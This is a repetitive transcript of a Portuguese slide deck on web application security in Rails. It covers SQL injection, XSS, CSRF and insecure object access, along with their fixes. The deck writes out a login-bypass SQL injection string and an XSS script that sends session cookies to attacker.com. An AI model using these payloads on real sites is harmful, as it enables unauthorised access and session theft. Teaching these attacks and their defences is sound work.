Segurança em aplicações web

Post on 11-Apr-2017

180 views 0 download

Transcript of Segurança em aplicações web

Segurança em aplicações Web

Pródiga

User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")

' OR '1'='1 como nome e ' OR '2'>'1 como senha

User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")

User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")

' OR '1'='1 como nome e ' OR '2'>'1 como senha

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

' OR '1'='1 como nome e ' OR '2'>'1 como senha

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

Model.where("login = ? AND password = ?", entered_user_name, entered_password).first

User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")

' OR '1'='1 como nome e ' OR '2'>'1 como senha

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

Model.where("login = ? AND password = ?", entered_user_name, entered_password).first

Model.where(login: entered_user_name, password: entered_password).first

User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")

<img src=javascript:alert(‘Hello')>

<table background="javascript:alert('Hello')">

<script>document.write(document.cookie);</script>

<script>document.write(document.cookie);</script>

<script> document.write('<img src="http://www.attacker.com/' + document.cookie + ‘">');</script>

<script>document.write(document.cookie);</script>

<script> document.write('<img src="http://www.attacker.com/' + document.cookie + ‘">');</script>

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

Como evitar

Como evitar

flag httpOnly ao criar o cookie

sanitizar inputs dos usuarios

Cross-Site Request Forgery

Como evitar

Como evitar

  usar metodos get e post corretamente

usar token

<form action=“/remover-usuario“ method="post"> <input type="hidden" name="id" value="38"> <input type="date" name=“data-remocao”>

<input type="submit" value="Remover"></form>

<form action=“/remover-usuario“ method="post"> <input type="hidden" name="id" value="38">

<input type="hidden" name="csrf_token" value="71ACGD73OVxuza6yeAInUG0aOYEqfc91nnvhuq7Tdv8">

<input type="date" name=“data-remocao”>

<input type="submit" value="Remover"></form>

def edit @project = Project.find(params['id'])end

def edit @project = current_user.projects.find(params['id'])end

def edit @project = current_user.projects.find(params['id'])end

http://www.fidelis.work/como-eu-usei-o-cartao-de-credito-do-ceo-do-trampos-co-para-pagar-minha-assinatura-premium/

Como capturar a sessão

através de wi-fi inseguro

através de terminais públicos

XSS

Como evitar

marcar cookies como httpOnly

usar ssl

Expirar a sessão

Onde aprender mais

https://www.owasp.org/index.php/Main_Page

http://guides.rubyonrails.org/security.html